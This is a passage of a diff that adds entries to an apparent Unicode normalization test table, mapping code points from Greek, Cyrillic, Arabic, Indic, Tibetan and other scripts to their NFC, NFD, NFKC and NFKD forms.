+{ source: [0x0233], NFC: [0x0233], NFD: [0x0079, 0x0304], NFKC: [0x0233], NFKD: [0x0079, 0x0304] },
+{ source: [0x02B0], NFC: [0x02B0], NFD: [0x02B0], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x02B1], NFC: [0x02B1], NFD: [0x02B1], NFKC: [0x0266], NFKD: [0x0266] },
+{ source: [0x02B2], NFC: [0x02B2], NFD: [0x02B2], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x02B3], NFC: [0x02B3], NFD: [0x02B3], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x02B4], NFC: [0x02B4], NFD: [0x02B4], NFKC: [0x0279], NFKD: [0x0279] },
+{ source: [0x02B5], NFC: [0x02B5], NFD: [0x02B5], NFKC: [0x027B], NFKD: [0x027B] },
+{ source: [0x02B6], NFC: [0x02B6], NFD: [0x02B6], NFKC: [0x0281], NFKD: [0x0281] },
+{ source: [0x02B7], NFC: [0x02B7], NFD: [0x02B7], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x02B8], NFC: [0x02B8], NFD: [0x02B8], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x02D8], NFC: [0x02D8], NFD: [0x02D8], NFKC: [0x0020, 0x0306], NFKD: [0x0020, 0x0306] },
+{ source: [0x02D9], NFC: [0x02D9], NFD: [0x02D9], NFKC: [0x0020, 0x0307], NFKD: [0x0020, 0x0307] },
+{ source: [0x02DA], NFC: [0x02DA], NFD: [0x02DA], NFKC: [0x0020, 0x030A], NFKD: [0x0020, 0x030A] },
+{ source: [0x02DB], NFC: [0x02DB], NFD: [0x02DB], NFKC: [0x0020, 0x0328], NFKD: [0x0020, 0x0328] },
+{ source: [0x02DC], NFC: [0x02DC], NFD: [0x02DC], NFKC: [0x0020, 0x0303], NFKD: [0x0020, 0x0303] },
+{ source: [0x02DD], NFC: [0x02DD], NFD: [0x02DD], NFKC: [0x0020, 0x030B], NFKD: [0x0020, 0x030B] },
+{ source: [0x02E0], NFC: [0x02E0], NFD: [0x02E0], NFKC: [0x0263], NFKD: [0x0263] },
+{ source: [0x02E1], NFC: [0x02E1], NFD: [0x02E1], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x02E2], NFC: [0x02E2], NFD: [0x02E2], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x02E3], NFC: [0x02E3], NFD: [0x02E3], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x02E4], NFC: [0x02E4], NFD: [0x02E4], NFKC: [0x0295], NFKD: [0x0295] },
+{ source: [0x0340], NFC: [0x0300], NFD: [0x0300], NFKC: [0x0300], NFKD: [0x0300] },
+{ source: [0x0341], NFC: [0x0301], NFD: [0x0301], NFKC: [0x0301], NFKD: [0x0301] },
+{ source: [0x0343], NFC: [0x0313], NFD: [0x0313], NFKC: [0x0313], NFKD: [0x0313] },
+{ source: [0x0344], NFC: [0x0308, 0x0301], NFD: [0x0308, 0x0301], NFKC: [0x0308, 0x0301], NFKD: [0x0308, 0x0301] },
+{ source: [0x0374], NFC: [0x02B9], NFD: [0x02B9], NFKC: [0x02B9], NFKD: [0x02B9] },
+{ source: [0x037A], NFC: [0x037A], NFD: [0x037A], NFKC: [0x0020, 0x0345], NFKD: [0x0020, 0x0345] },
+{ source: [0x037E], NFC: [0x003B], NFD: [0x003B], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0x0384], NFC: [0x0384], NFD: [0x0384], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x0385], NFC: [0x0385], NFD: [0x00A8, 0x0301], NFKC: [0x0020, 0x0308, 0x0301], NFKD: [0x0020, 0x0308, 0x0301] },
+{ source: [0x0386], NFC: [0x0386], NFD: [0x0391, 0x0301], NFKC: [0x0386], NFKD: [0x0391, 0x0301] },
+{ source: [0x0387], NFC: [0x00B7], NFD: [0x00B7], NFKC: [0x00B7], NFKD: [0x00B7] },
+{ source: [0x0388], NFC: [0x0388], NFD: [0x0395, 0x0301], NFKC: [0x0388], NFKD: [0x0395, 0x0301] },
+{ source: [0x0389], NFC: [0x0389], NFD: [0x0397, 0x0301], NFKC: [0x0389], NFKD: [0x0397, 0x0301] },
+{ source: [0x038A], NFC: [0x038A], NFD: [0x0399, 0x0301], NFKC: [0x038A], NFKD: [0x0399, 0x0301] },
+{ source: [0x038C], NFC: [0x038C], NFD: [0x039F, 0x0301], NFKC: [0x038C], NFKD: [0x039F, 0x0301] },
+{ source: [0x038E], NFC: [0x038E], NFD: [0x03A5, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x038F], NFC: [0x038F], NFD: [0x03A9, 0x0301], NFKC: [0x038F], NFKD: [0x03A9, 0x0301] },
+{ source: [0x0390], NFC: [0x0390], NFD: [0x03B9, 0x0308, 0x0301], NFKC: [0x0390], NFKD: [0x03B9, 0x0308, 0x0301] },
+{ source: [0x03AA], NFC: [0x03AA], NFD: [0x0399, 0x0308], NFKC: [0x03AA], NFKD: [0x0399, 0x0308] },
+{ source: [0x03AB], NFC: [0x03AB], NFD: [0x03A5, 0x0308], NFKC: [0x03AB], NFKD: [0x03A5, 0x0308] },
+{ source: [0x03AC], NFC: [0x03AC], NFD: [0x03B1, 0x0301], NFKC: [0x03AC], NFKD: [0x03B1, 0x0301] },
+{ source: [0x03AD], NFC: [0x03AD], NFD: [0x03B5, 0x0301], NFKC: [0x03AD], NFKD: [0x03B5, 0x0301] },
+{ source: [0x03AE], NFC: [0x03AE], NFD: [0x03B7, 0x0301], NFKC: [0x03AE], NFKD: [0x03B7, 0x0301] },
+{ source: [0x03AF], NFC: [0x03AF], NFD: [0x03B9, 0x0301], NFKC: [0x03AF], NFKD: [0x03B9, 0x0301] },
+{ source: [0x03B0], NFC: [0x03B0], NFD: [0x03C5, 0x0308, 0x0301], NFKC: [0x03B0], NFKD: [0x03C5, 0x0308, 0x0301] },
+{ source: [0x03CA], NFC: [0x03CA], NFD: [0x03B9, 0x0308], NFKC: [0x03CA], NFKD: [0x03B9, 0x0308] },
+{ source: [0x03CB], NFC: [0x03CB], NFD: [0x03C5, 0x0308], NFKC: [0x03CB], NFKD: [0x03C5, 0x0308] },
+{ source: [0x03CC], NFC: [0x03CC], NFD: [0x03BF, 0x0301], NFKC: [0x03CC], NFKD: [0x03BF, 0x0301] },
+{ source: [0x03CD], NFC: [0x03CD], NFD: [0x03C5, 0x0301], NFKC: [0x03CD], NFKD: [0x03C5, 0x0301] },
+{ source: [0x03CE], NFC: [0x03CE], NFD: [0x03C9, 0x0301], NFKC: [0x03CE], NFKD: [0x03C9, 0x0301] },
+{ source: [0x03D0], NFC: [0x03D0], NFD: [0x03D0], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x03D1], NFC: [0x03D1], NFD: [0x03D1], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x03D2], NFC: [0x03D2], NFD: [0x03D2], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x03D3], NFC: [0x03D3], NFD: [0x03D2, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x03D4], NFC: [0x03D4], NFD: [0x03D2, 0x0308], NFKC: [0x03AB], NFKD: [0x03A5, 0x0308] },
+{ source: [0x03D5], NFC: [0x03D5], NFD: [0x03D5], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x03D6], NFC: [0x03D6], NFD: [0x03D6], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x03F0], NFC: [0x03F0], NFD: [0x03F0], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x03F1], NFC: [0x03F1], NFD: [0x03F1], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x03F2], NFC: [0x03F2], NFD: [0x03F2], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x03F4], NFC: [0x03F4], NFD: [0x03F4], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x03F5], NFC: [0x03F5], NFD: [0x03F5], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x03F9], NFC: [0x03F9], NFD: [0x03F9], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x0400], NFC: [0x0400], NFD: [0x0415, 0x0300], NFKC: [0x0400], NFKD: [0x0415, 0x0300] },
+{ source: [0x0401], NFC: [0x0401], NFD: [0x0415, 0x0308], NFKC: [0x0401], NFKD: [0x0415, 0x0308] },
+{ source: [0x0403], NFC: [0x0403], NFD: [0x0413, 0x0301], NFKC: [0x0403], NFKD: [0x0413, 0x0301] },
+{ source: [0x0407], NFC: [0x0407], NFD: [0x0406, 0x0308], NFKC: [0x0407], NFKD: [0x0406, 0x0308] },
+{ source: [0x040C], NFC: [0x040C], NFD: [0x041A, 0x0301], NFKC: [0x040C], NFKD: [0x041A, 0x0301] },
+{ source: [0x040D], NFC: [0x040D], NFD: [0x0418, 0x0300], NFKC: [0x040D], NFKD: [0x0418, 0x0300] },
+{ source: [0x040E], NFC: [0x040E], NFD: [0x0423, 0x0306], NFKC: [0x040E], NFKD: [0x0423, 0x0306] },
+{ source: [0x0419], NFC: [0x0419], NFD: [0x0418, 0x0306], NFKC: [0x0419], NFKD: [0x0418, 0x0306] },
+{ source: [0x0439], NFC: [0x0439], NFD: [0x0438, 0x0306], NFKC: [0x0439], NFKD: [0x0438, 0x0306] },
+{ source: [0x0450], NFC: [0x0450], NFD: [0x0435, 0x0300], NFKC: [0x0450], NFKD: [0x0435, 0x0300] },
+{ source: [0x0451], NFC: [0x0451], NFD: [0x0435, 0x0308], NFKC: [0x0451], NFKD: [0x0435, 0x0308] },
+{ source: [0x0453], NFC: [0x0453], NFD: [0x0433, 0x0301], NFKC: [0x0453], NFKD: [0x0433, 0x0301] },
+{ source: [0x0457], NFC: [0x0457], NFD: [0x0456, 0x0308], NFKC: [0x0457], NFKD: [0x0456, 0x0308] },
+{ source: [0x045C], NFC: [0x045C], NFD: [0x043A, 0x0301], NFKC: [0x045C], NFKD: [0x043A, 0x0301] },
+{ source: [0x045D], NFC: [0x045D], NFD: [0x0438, 0x0300], NFKC: [0x045D], NFKD: [0x0438, 0x0300] },
+{ source: [0x045E], NFC: [0x045E], NFD: [0x0443, 0x0306], NFKC: [0x045E], NFKD: [0x0443, 0x0306] },
+{ source: [0x0476], NFC: [0x0476], NFD: [0x0474, 0x030F], NFKC: [0x0476], NFKD: [0x0474, 0x030F] },
+{ source: [0x0477], NFC: [0x0477], NFD: [0x0475, 0x030F], NFKC: [0x0477], NFKD: [0x0475, 0x030F] },
+{ source: [0x04C1], NFC: [0x04C1], NFD: [0x0416, 0x0306], NFKC: [0x04C1], NFKD: [0x0416, 0x0306] },
+{ source: [0x04C2], NFC: [0x04C2], NFD: [0x0436, 0x0306], NFKC: [0x04C2], NFKD: [0x0436, 0x0306] },
+{ source: [0x04D0], NFC: [0x04D0], NFD: [0x0410, 0x0306], NFKC: [0x04D0], NFKD: [0x0410, 0x0306] },
+{ source: [0x04D1], NFC: [0x04D1], NFD: [0x0430, 0x0306], NFKC: [0x04D1], NFKD: [0x0430, 0x0306] },
+{ source: [0x04D2], NFC: [0x04D2], NFD: [0x0410, 0x0308], NFKC: [0x04D2], NFKD: [0x0410, 0x0308] },
+{ source: [0x04D3], NFC: [0x04D3], NFD: [0x0430, 0x0308], NFKC: [0x04D3], NFKD: [0x0430, 0x0308] },
+{ source: [0x04D6], NFC: [0x04D6], NFD: [0x0415, 0x0306], NFKC: [0x04D6], NFKD: [0x0415, 0x0306] },
+{ source: [0x04D7], NFC: [0x04D7], NFD: [0x0435, 0x0306], NFKC: [0x04D7], NFKD: [0x0435, 0x0306] },
+{ source: [0x04DA], NFC: [0x04DA], NFD: [0x04D8, 0x0308], NFKC: [0x04DA], NFKD: [0x04D8, 0x0308] },
+{ source: [0x04DB], NFC: [0x04DB], NFD: [0x04D9, 0x0308], NFKC: [0x04DB], NFKD: [0x04D9, 0x0308] },
+{ source: [0x04DC], NFC: [0x04DC], NFD: [0x0416, 0x0308], NFKC: [0x04DC], NFKD: [0x0416, 0x0308] },
+{ source: [0x04DD], NFC: [0x04DD], NFD: [0x0436, 0x0308], NFKC: [0x04DD], NFKD: [0x0436, 0x0308] },
+{ source: [0x04DE], NFC: [0x04DE], NFD: [0x0417, 0x0308], NFKC: [0x04DE], NFKD: [0x0417, 0x0308] },
+{ source: [0x04DF], NFC: [0x04DF], NFD: [0x0437, 0x0308], NFKC: [0x04DF], NFKD: [0x0437, 0x0308] },
+{ source: [0x04E2], NFC: [0x04E2], NFD: [0x0418, 0x0304], NFKC: [0x04E2], NFKD: [0x0418, 0x0304] },
+{ source: [0x04E3], NFC: [0x04E3], NFD: [0x0438, 0x0304], NFKC: [0x04E3], NFKD: [0x0438, 0x0304] },
+{ source: [0x04E4], NFC: [0x04E4], NFD: [0x0418, 0x0308], NFKC: [0x04E4], NFKD: [0x0418, 0x0308] },
+{ source: [0x04E5], NFC: [0x04E5], NFD: [0x0438, 0x0308], NFKC: [0x04E5], NFKD: [0x0438, 0x0308] },
+{ source: [0x04E6], NFC: [0x04E6], NFD: [0x041E, 0x0308], NFKC: [0x04E6], NFKD: [0x041E, 0x0308] },
+{ source: [0x04E7], NFC: [0x04E7], NFD: [0x043E, 0x0308], NFKC: [0x04E7], NFKD: [0x043E, 0x0308] },
+{ source: [0x04EA], NFC: [0x04EA], NFD: [0x04E8, 0x0308], NFKC: [0x04EA], NFKD: [0x04E8, 0x0308] },
+{ source: [0x04EB], NFC: [0x04EB], NFD: [0x04E9, 0x0308], NFKC: [0x04EB], NFKD: [0x04E9, 0x0308] },
+{ source: [0x04EC], NFC: [0x04EC], NFD: [0x042D, 0x0308], NFKC: [0x04EC], NFKD: [0x042D, 0x0308] },
+{ source: [0x04ED], NFC: [0x04ED], NFD: [0x044D, 0x0308], NFKC: [0x04ED], NFKD: [0x044D, 0x0308] },
+{ source: [0x04EE], NFC: [0x04EE], NFD: [0x0423, 0x0304], NFKC: [0x04EE], NFKD: [0x0423, 0x0304] },
+{ source: [0x04EF], NFC: [0x04EF], NFD: [0x0443, 0x0304], NFKC: [0x04EF], NFKD: [0x0443, 0x0304] },
+{ source: [0x04F0], NFC: [0x04F0], NFD: [0x0423, 0x0308], NFKC: [0x04F0], NFKD: [0x0423, 0x0308] },
+{ source: [0x04F1], NFC: [0x04F1], NFD: [0x0443, 0x0308], NFKC: [0x04F1], NFKD: [0x0443, 0x0308] },
+{ source: [0x04F2], NFC: [0x04F2], NFD: [0x0423, 0x030B], NFKC: [0x04F2], NFKD: [0x0423, 0x030B] },
+{ source: [0x04F3], NFC: [0x04F3], NFD: [0x0443, 0x030B], NFKC: [0x04F3], NFKD: [0x0443, 0x030B] },
+{ source: [0x04F4], NFC: [0x04F4], NFD: [0x0427, 0x0308], NFKC: [0x04F4], NFKD: [0x0427, 0x0308] },
+{ source: [0x04F5], NFC: [0x04F5], NFD: [0x0447, 0x0308], NFKC: [0x04F5], NFKD: [0x0447, 0x0308] },
+{ source: [0x04F8], NFC: [0x04F8], NFD: [0x042B, 0x0308], NFKC: [0x04F8], NFKD: [0x042B, 0x0308] },
+{ source: [0x04F9], NFC: [0x04F9], NFD: [0x044B, 0x0308], NFKC: [0x04F9], NFKD: [0x044B, 0x0308] },
+{ source: [0x0587], NFC: [0x0587], NFD: [0x0587], NFKC: [0x0565, 0x0582], NFKD: [0x0565, 0x0582] },
+{ source: [0x0622], NFC: [0x0622], NFD: [0x0627, 0x0653], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0x0623], NFC: [0x0623], NFD: [0x0627, 0x0654], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0x0624], NFC: [0x0624], NFD: [0x0648, 0x0654], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0x0625], NFC: [0x0625], NFD: [0x0627, 0x0655], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0x0626], NFC: [0x0626], NFD: [0x064A, 0x0654], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0x0675], NFC: [0x0675], NFD: [0x0675], NFKC: [0x0627, 0x0674], NFKD: [0x0627, 0x0674] },
+{ source: [0x0676], NFC: [0x0676], NFD: [0x0676], NFKC: [0x0648, 0x0674], NFKD: [0x0648, 0x0674] },
+{ source: [0x0677], NFC: [0x0677], NFD: [0x0677], NFKC: [0x06C7, 0x0674], NFKD: [0x06C7, 0x0674] },
+{ source: [0x0678], NFC: [0x0678], NFD: [0x0678], NFKC: [0x064A, 0x0674], NFKD: [0x064A, 0x0674] },
+{ source: [0x06C0], NFC: [0x06C0], NFD: [0x06D5, 0x0654], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0x06C2], NFC: [0x06C2], NFD: [0x06C1, 0x0654], NFKC: [0x06C2], NFKD: [0x06C1, 0x0654] },
+{ source: [0x06D3], NFC: [0x06D3], NFD: [0x06D2, 0x0654], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0x0929], NFC: [0x0929], NFD: [0x0928, 0x093C], NFKC: [0x0929], NFKD: [0x0928, 0x093C] },
+{ source: [0x0931], NFC: [0x0931], NFD: [0x0930, 0x093C], NFKC: [0x0931], NFKD: [0x0930, 0x093C] },
+{ source: [0x0934], NFC: [0x0934], NFD: [0x0933, 0x093C], NFKC: [0x0934], NFKD: [0x0933, 0x093C] },
+{ source: [0x0958], NFC: [0x0915, 0x093C], NFD: [0x0915, 0x093C], NFKC: [0x0915, 0x093C], NFKD: [0x0915, 0x093C] },
+{ source: [0x0959], NFC: [0x0916, 0x093C], NFD: [0x0916, 0x093C], NFKC: [0x0916, 0x093C], NFKD: [0x0916, 0x093C] },
+{ source: [0x095A], NFC: [0x0917, 0x093C], NFD: [0x0917, 0x093C], NFKC: [0x0917, 0x093C], NFKD: [0x0917, 0x093C] },
+{ source: [0x095B], NFC: [0x091C, 0x093C], NFD: [0x091C, 0x093C], NFKC: [0x091C, 0x093C], NFKD: [0x091C, 0x093C] },
+{ source: [0x095C], NFC: [0x0921, 0x093C], NFD: [0x0921, 0x093C], NFKC: [0x0921, 0x093C], NFKD: [0x0921, 0x093C] },
+{ source: [0x095D], NFC: [0x0922, 0x093C], NFD: [0x0922, 0x093C], NFKC: [0x0922, 0x093C], NFKD: [0x0922, 0x093C] },
+{ source: [0x095E], NFC: [0x092B, 0x093C], NFD: [0x092B, 0x093C], NFKC: [0x092B, 0x093C], NFKD: [0x092B, 0x093C] },
+{ source: [0x095F], NFC: [0x092F, 0x093C], NFD: [0x092F, 0x093C], NFKC: [0x092F, 0x093C], NFKD: [0x092F, 0x093C] },
+{ source: [0x09CB], NFC: [0x09CB], NFD: [0x09C7, 0x09BE], NFKC: [0x09CB], NFKD: [0x09C7, 0x09BE] },
+{ source: [0x09CC], NFC: [0x09CC], NFD: [0x09C7, 0x09D7], NFKC: [0x09CC], NFKD: [0x09C7, 0x09D7] },
+{ source: [0x09DC], NFC: [0x09A1, 0x09BC], NFD: [0x09A1, 0x09BC], NFKC: [0x09A1, 0x09BC], NFKD: [0x09A1, 0x09BC] },
+{ source: [0x09DD], NFC: [0x09A2, 0x09BC], NFD: [0x09A2, 0x09BC], NFKC: [0x09A2, 0x09BC], NFKD: [0x09A2, 0x09BC] },
+{ source: [0x09DF], NFC: [0x09AF, 0x09BC], NFD: [0x09AF, 0x09BC], NFKC: [0x09AF, 0x09BC], NFKD: [0x09AF, 0x09BC] },
+{ source: [0x0A33], NFC: [0x0A32, 0x0A3C], NFD: [0x0A32, 0x0A3C], NFKC: [0x0A32, 0x0A3C], NFKD: [0x0A32, 0x0A3C] },
+{ source: [0x0A36], NFC: [0x0A38, 0x0A3C], NFD: [0x0A38, 0x0A3C], NFKC: [0x0A38, 0x0A3C], NFKD: [0x0A38, 0x0A3C] },
+{ source: [0x0A59], NFC: [0x0A16, 0x0A3C], NFD: [0x0A16, 0x0A3C], NFKC: [0x0A16, 0x0A3C], NFKD: [0x0A16, 0x0A3C] },
+{ source: [0x0A5A], NFC: [0x0A17, 0x0A3C], NFD: [0x0A17, 0x0A3C], NFKC: [0x0A17, 0x0A3C], NFKD: [0x0A17, 0x0A3C] },
+{ source: [0x0A5B], NFC: [0x0A1C, 0x0A3C], NFD: [0x0A1C, 0x0A3C], NFKC: [0x0A1C, 0x0A3C], NFKD: [0x0A1C, 0x0A3C] },
+{ source: [0x0A5E], NFC: [0x0A2B, 0x0A3C], NFD: [0x0A2B, 0x0A3C], NFKC: [0x0A2B, 0x0A3C], NFKD: [0x0A2B, 0x0A3C] },
+{ source: [0x0B48], NFC: [0x0B48], NFD: [0x0B47, 0x0B56], NFKC: [0x0B48], NFKD: [0x0B47, 0x0B56] },
+{ source: [0x0B4B], NFC: [0x0B4B], NFD: [0x0B47, 0x0B3E], NFKC: [0x0B4B], NFKD: [0x0B47, 0x0B3E] },
+{ source: [0x0B4C], NFC: [0x0B4C], NFD: [0x0B47, 0x0B57], NFKC: [0x0B4C], NFKD: [0x0B47, 0x0B57] },
+{ source: [0x0B5C], NFC: [0x0B21, 0x0B3C], NFD: [0x0B21, 0x0B3C], NFKC: [0x0B21, 0x0B3C], NFKD: [0x0B21, 0x0B3C] },
+{ source: [0x0B5D], NFC: [0x0B22, 0x0B3C], NFD: [0x0B22, 0x0B3C], NFKC: [0x0B22, 0x0B3C], NFKD: [0x0B22, 0x0B3C] },
+{ source: [0x0B94], NFC: [0x0B94], NFD: [0x0B92, 0x0BD7], NFKC: [0x0B94], NFKD: [0x0B92, 0x0BD7] },
+{ source: [0x0BCA], NFC: [0x0BCA], NFD: [0x0BC6, 0x0BBE], NFKC: [0x0BCA], NFKD: [0x0BC6, 0x0BBE] },
+{ source: [0x0BCB], NFC: [0x0BCB], NFD: [0x0BC7, 0x0BBE], NFKC: [0x0BCB], NFKD: [0x0BC7, 0x0BBE] },
+{ source: [0x0BCC], NFC: [0x0BCC], NFD: [0x0BC6, 0x0BD7], NFKC: [0x0BCC], NFKD: [0x0BC6, 0x0BD7] },
+{ source: [0x0C48], NFC: [0x0C48], NFD: [0x0C46, 0x0C56], NFKC: [0x0C48], NFKD: [0x0C46, 0x0C56] },
+{ source: [0x0CC0], NFC: [0x0CC0], NFD: [0x0CBF, 0x0CD5], NFKC: [0x0CC0], NFKD: [0x0CBF, 0x0CD5] },
+{ source: [0x0CC7], NFC: [0x0CC7], NFD: [0x0CC6, 0x0CD5], NFKC: [0x0CC7], NFKD: [0x0CC6, 0x0CD5] },
+{ source: [0x0CC8], NFC: [0x0CC8], NFD: [0x0CC6, 0x0CD6], NFKC: [0x0CC8], NFKD: [0x0CC6, 0x0CD6] },
+{ source: [0x0CCA], NFC: [0x0CCA], NFD: [0x0CC6, 0x0CC2], NFKC: [0x0CCA], NFKD: [0x0CC6, 0x0CC2] },
+{ source: [0x0CCB], NFC: [0x0CCB], NFD: [0x0CC6, 0x0CC2, 0x0CD5], NFKC: [0x0CCB], NFKD: [0x0CC6, 0x0CC2, 0x0CD5] },
+{ source: [0x0D4A], NFC: [0x0D4A], NFD: [0x0D46, 0x0D3E], NFKC: [0x0D4A], NFKD: [0x0D46, 0x0D3E] },
+{ source: [0x0D4B], NFC: [0x0D4B], NFD: [0x0D47, 0x0D3E], NFKC: [0x0D4B], NFKD: [0x0D47, 0x0D3E] },
+{ source: [0x0D4C], NFC: [0x0D4C], NFD: [0x0D46, 0x0D57], NFKC: [0x0D4C], NFKD: [0x0D46, 0x0D57] },
+{ source: [0x0DDA], NFC: [0x0DDA], NFD: [0x0DD9, 0x0DCA], NFKC: [0x0DDA], NFKD: [0x0DD9, 0x0DCA] },
+{ source: [0x0DDC], NFC: [0x0DDC], NFD: [0x0DD9, 0x0DCF], NFKC: [0x0DDC], NFKD: [0x0DD9, 0x0DCF] },
+{ source: [0x0DDD], NFC: [0x0DDD], NFD: [0x0DD9, 0x0DCF, 0x0DCA], NFKC: [0x0DDD], NFKD: [0x0DD9, 0x0DCF, 0x0DCA] },
+{ source: [0x0DDE], NFC: [0x0DDE], NFD: [0x0DD9, 0x0DDF], NFKC: [0x0DDE], NFKD: [0x0DD9, 0x0DDF] },
+{ source: [0x0E33], NFC: [0x0E33], NFD: [0x0E33], NFKC: [0x0E4D, 0x0E32], NFKD: [0x0E4D, 0x0E32] },
+{ source: [0x0EB3], NFC: [0x0EB3], NFD: [0x0EB3], NFKC: [0x0ECD, 0x0EB2], NFKD: [0x0ECD, 0x0EB2] },
+{ source: [0x0EDC], NFC: [0x0EDC], NFD: [0x0EDC], NFKC: [0x0EAB, 0x0E99], NFKD: [0x0EAB, 0x0E99] },
+{ source: [0x0EDD], NFC: [0x0EDD], NFD: [0x0EDD], NFKC: [0x0EAB, 0x0EA1], NFKD: [0x0EAB, 0x0EA1] },
+{ source: [0x0F0C], NFC: [0x0F0C], NFD: [0x0F0C], NFKC: [0x0F0B], NFKD: [0x0F0B] },
+{ source: [0x0F43], NFC: [0x0F42, 0x0FB7], NFD: [0x0F42, 0x0FB7], NFKC: [0x0F42, 0x0FB7], NFKD: [0x0F42, 0x0FB7] },
+{ source: [0x0F4D], NFC: [0x0F4C, 0x0FB7], NFD: [0x0F4C, 0x0FB7], NFKC: [0x0F4C, 0x0FB7], NFKD: [0x0F4C, 0x0FB7] },
+{ source: [0x0F52], NFC: [0x0F51, 0x0FB7], NFD: [0x0F51, 0x0FB7], NFKC: [0x0F51, 0x0FB7], NFKD: [0x0F51, 0x0FB7] },
+{ source: [0x0F57], NFC: [0x0F56, 0x0FB7], NFD: [0x0F56, 0x0FB7], NFKC: [0x0F56, 0x0FB7], NFKD: [0x0F56, 0x0FB7] },
+{ source: [0x0F5C], NFC: [0x0F5B, 0x0FB7], NFD: [0x0F5B, 0x0FB7], NFKC: [0x0F5B, 0x0FB7], NFKD: [0x0F5B, 0x0FB7] },
+{ source: [0x0F69], NFC: [0x0F40, 0x0FB5], NFD: [0x0F40, 0x0FB5], NFKC: [0x0F40, 0x0FB5], NFKD: [0x0F40, 0x0FB5] },
+{ source: [0x0F73], NFC: [0x0F71, 0x0F72], NFD: [0x0F71, 0x0F72], NFKC: [0x0F71, 0x0F72], NFKD: [0x0F71, 0x0F72] },
+{ source: [0x0F75], NFC: [0x0F71, 0x0F74], NFD: [0x0F71, 0x0F74], NFKC: [0x0F71, 0x0F74], NFKD: [0x0F71, 0x0F74] },
+{ source: [0x0F76], NFC: [0x0FB2, 0x0F80], NFD: [0x0FB2, 0x0F80], NFKC: [0x0FB2, 0x0F80], NFKD: [0x0FB2, 0x0F80] },
+{ source: [0x0F77], NFC: [0x0F77], NFD: [0x0F77], NFKC: [0x0FB2, 0x0F71, 0x0F80], NFKD: [0x0FB2, 0x0F71, 0x0F80] },
+{ source: [0x0F78], NFC: [0x0FB3, 0x0F80], NFD: [0x0FB3, 0x0F80], NFKC: [0x0FB3, 0x0F80], NFKD: [0x0FB3, 0x0F80] },
+{ source: [0x0F79], NFC: [0x0F79], NFD: [0x0F79], NFKC: [0x0FB3, 0x0F71, 0x0F80], NFKD: [0x0FB3, 0x0F71, 0x0F80] },
+{ source: [0x0F81], NFC: [0x0F71, 0x0F80], NFD: [0x0F71, 0x0F80], NFKC: [0x0F71, 0x0F80], NFKD: [0x0F71, 0x0F80] },
+{ source: [0x0F93], NFC: [0x0F92, 0x0FB7], NFD: [0x0F92, 0x0FB7], NFKC: [0x0F92, 0x0FB7], NFKD: [0x0F92, 0x0FB7] },
+{ source: [0x0F9D], NFC: [0x0F9C, 0x0FB7], NFD: [0x0F9C, 0x0FB7], NFKC: [0x0F9C, 0x0FB7], NFKD: [0x0F9C, 0x0FB7] },
+{ source: [0x0FA2], NFC: [0x0FA1, 0x0FB7], NFD: [0x0FA1, 0x0FB7], NFKC: [0x0FA1, 0x0FB7], NFKD: [0x0FA1, 0x0FB7] },
+{ source: [0x0FA7], NFC: [0x0FA6, 0x0FB7], NFD: [0x0FA6, 0x0FB7], NFKC: [0x0FA6, 0x0FB7], NFKD: [0x0FA6, 0x0FB7] },
+{ source: [0x0FAC], NFC: [0x0FAB, 0x0FB7], NFD: [0x0FAB, 0x0FB7], NFKC: [0x0FAB, 0x0FB7], NFKD: [0x0FAB, 0x0FB7] },
+{ source: [0x0FB9], NFC: [0x0F90, 0x0FB5], NFD: [0x0F90, 0x0FB5], NFKC: [0x0F90, 0x0FB5], NFKD: [0x0F90, 0x0FB5] },
+{ source: [0x1026], NFC: [0x1026], NFD: [0x1025, 0x102E], NFKC: [0x1026], NFKD: [0x1025, 0x102E] },
+{ source: [0x10FC], NFC: [0x10FC], NFD: [0x10FC], NFKC: [0x10DC], NFKD: [0x10DC] },
+{ source: [0x1B06], NFC: [0x1B06], NFD: [0x1B05, 0x1B35], NFKC: [0x1B06], NFKD: [0x1B05, 0x1B35] },
+{ source: [0x1B08], NFC: [0x1B08], NFD: [0x1B07, 0x1B35], NFKC: [0x1B08], NFKD: [0x1B07, 0x1B35] },
+{ source: [0x1B0A], NFC: [0x1B0A], NFD: [0x1B09, 0x1B35], NFKC: [0x1B0A], NFKD: [0x1B09, 0x1B35] },
+{ source: [0x1B0C], NFC: [0x1B0C], NFD: [0x1B0B, 0x1B35], NFKC: [0x1B0C], NFKD: [0x1B0B, 0x1B35] },
+{ source: [0x1B0E], NFC: [0x1B0E], NFD: [0x1B0D, 0x1B35], NFKC: [0x1B0E], NFKD: [0x1B0D, 0x1B35] },
+{ source: [0x1B12], NFC: [0x1B12], NFD: [0x1B11, 0x1B35], NFKC: [0x1B12], NFKD: [0x1B11, 0x1B35] },
